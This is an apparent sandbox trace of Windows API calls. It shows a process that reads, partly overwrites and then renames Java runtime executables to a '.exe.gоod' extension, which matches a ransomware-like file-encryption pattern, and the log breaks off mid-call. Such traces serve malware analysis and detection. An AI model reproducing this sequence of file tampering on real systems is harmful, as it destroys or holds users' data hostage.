[0078.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0078.713] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), fInfoLevelId=0x0, lpFileInformation=0x329a308 | out: lpFileInformation=0x329a308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0078.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0079.052] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", lpFilePart=0x0) returned 0x35 [0079.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0079.062] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0079.063] GetFileType (hFile=0x778) returned 0x1 [0079.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0079.063] GetFileType (hFile=0x778) returned 0x1 [0079.063] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0079.063] ReadFile (in: hFile=0x778, lpBuffer=0x3326ab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x3326ab8*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0079.064] CloseHandle (hObject=0x778) returned 1 [0079.064] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", lpFilePart=0x0) returned 0x35 [0079.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0079.064] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0079.064] GetFileType (hFile=0x778) returned 0x1 [0079.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0079.064] GetFileType (hFile=0x778) returned 0x1 [0079.064] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x4040 [0079.065] WriteFile (in: hFile=0x778, lpBuffer=0x3327d30*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3327d30*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0079.065] CloseHandle (hObject=0x778) returned 1 [0079.067] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", lpFilePart=0x0) returned 0x35 [0079.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0079.067] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0079.067] GetFileType (hFile=0x778) returned 0x1 [0079.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0079.067] GetFileType (hFile=0x778) returned 0x1 [0079.067] ReadFile (in: hFile=0x778, lpBuffer=0x3329fd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x3329fd0*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0079.199] CloseHandle (hObject=0x778) returned 1 [0079.199] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", lpFilePart=0x0) returned 0x35 [0079.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0079.199] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0079.199] GetFileType (hFile=0x778) returned 0x1 [0079.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0079.200] GetFileType (hFile=0x778) returned 0x1 [0079.200] WriteFile (in: hFile=0x778, lpBuffer=0x315c668*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x315c668*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0079.200] CloseHandle (hObject=0x778) returned 1 [0079.201] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", lpFilePart=0x0) returned 0x35 [0079.201] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.gоod", lpFilePart=0x0) returned 0x3a [0079.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0079.201] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2b6c0b50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4050)) returned 1 [0079.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0079.201] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.gоod")) returned 1 [0079.202] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", lpFilePart=0x0) returned 0x33 [0079.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0079.202] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), fInfoLevelId=0x0, lpFileInformation=0x31ba098 | out: lpFileInformation=0x31ba098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1 [0079.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0079.203] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", lpFilePart=0x0) returned 0x33 [0079.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0079.203] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0079.203] GetFileType (hFile=0x778) returned 0x1 [0079.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0079.203] GetFileType (hFile=0x778) returned 0x1 [0079.203] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0079.203] ReadFile (in: hFile=0x778, lpBuffer=0x31ba460, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x31ba460*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0079.396] CloseHandle (hObject=0x778) returned 1 [0079.396] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", lpFilePart=0x0) returned 0x33 [0079.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0079.396] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0079.396] GetFileType (hFile=0x778) returned 0x1 [0079.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0079.396] GetFileType (hFile=0x778) returned 0x1 [0079.396] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x11240 [0079.421] WriteFile (in: hFile=0x778, lpBuffer=0x3338788*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3338788*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0079.422] CloseHandle (hObject=0x778) returned 1 [0079.425] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", lpFilePart=0x0) returned 0x33 [0079.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0079.425] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0079.425] GetFileType (hFile=0x778) returned 0x1 [0079.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0079.425] GetFileType (hFile=0x778) returned 0x1 [0079.425] ReadFile (in: hFile=0x778, lpBuffer=0x333aa20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x333aa20*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0079.886] CloseHandle (hObject=0x778) returned 1 [0079.886] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", lpFilePart=0x0) returned 0x33 [0079.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0079.887] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0079.887] GetFileType (hFile=0x778) returned 0x1 [0079.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0079.887] GetFileType (hFile=0x778) returned 0x1 [0079.887] WriteFile (in: hFile=0x778, lpBuffer=0x31a7820*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x31a7820*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0079.887] CloseHandle (hObject=0x778) returned 1 [0079.889] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", lpFilePart=0x0) returned 0x33 [0079.889] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.gоod", lpFilePart=0x0) returned 0x38 [0079.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0079.889] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2bd4f2ce, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1 [0079.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0079.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.gоod")) returned 1 [0079.890] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", lpFilePart=0x0) returned 0x34 [0079.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0079.890] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), fInfoLevelId=0x0, lpFileInformation=0x32e2280 | out: lpFileInformation=0x32e2280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0079.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0079.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", lpFilePart=0x0) returned 0x34 [0079.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0079.891] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0079.891] GetFileType (hFile=0x778) returned 0x1 [0079.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0079.891] GetFileType (hFile=0x778) returned 0x1 [0079.891] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0079.891] ReadFile (in: hFile=0x778, lpBuffer=0x32e2658, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x32e2658*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0079.892] CloseHandle (hObject=0x778) returned 1 [0079.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", lpFilePart=0x0) returned 0x34 [0079.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0079.892] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0079.893] GetFileType (hFile=0x778) returned 0x1 [0079.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0079.893] GetFileType (hFile=0x778) returned 0x1 [0079.893] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x4040 [0079.893] WriteFile (in: hFile=0x778, lpBuffer=0x32e38d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x32e38d0*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0079.893] CloseHandle (hObject=0x778) returned 1 [0079.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", lpFilePart=0x0) returned 0x34 [0079.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0079.895] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0079.895] GetFileType (hFile=0x778) returned 0x1 [0079.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0079.895] GetFileType (hFile=0x778) returned 0x1 [0079.895] ReadFile (in: hFile=0x778, lpBuffer=0x32e5b70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x32e5b70*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0080.139] CloseHandle (hObject=0x778) returned 1 [0080.140] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", lpFilePart=0x0) returned 0x34 [0080.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0080.140] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0080.140] GetFileType (hFile=0x778) returned 0x1 [0080.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0080.140] GetFileType (hFile=0x778) returned 0x1 [0080.140] WriteFile (in: hFile=0x778, lpBuffer=0x32e48e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x32e48e8*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0080.140] CloseHandle (hObject=0x778) returned 1 [0080.141] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", lpFilePart=0x0) returned 0x34 [0080.141] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.gоod", lpFilePart=0x0) returned 0x39 [0080.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0080.141] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2bfb17ab, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4050)) returned 1 [0080.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0080.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.gоod")) returned 1 [0080.142] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", lpFilePart=0x0) returned 0x34 [0080.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0080.142] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), fInfoLevelId=0x0, lpFileInformation=0x3539c70 | out: lpFileInformation=0x3539c70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x30240)) returned 1 [0080.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0080.143] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", lpFilePart=0x0) returned 0x34 [0080.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0080.143] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0080.143] GetFileType (hFile=0x778) returned 0x1 [0080.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0080.143] GetFileType (hFile=0x778) returned 0x1 [0080.143] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0080.143] ReadFile (in: hFile=0x778, lpBuffer=0x353a048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x353a048*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, 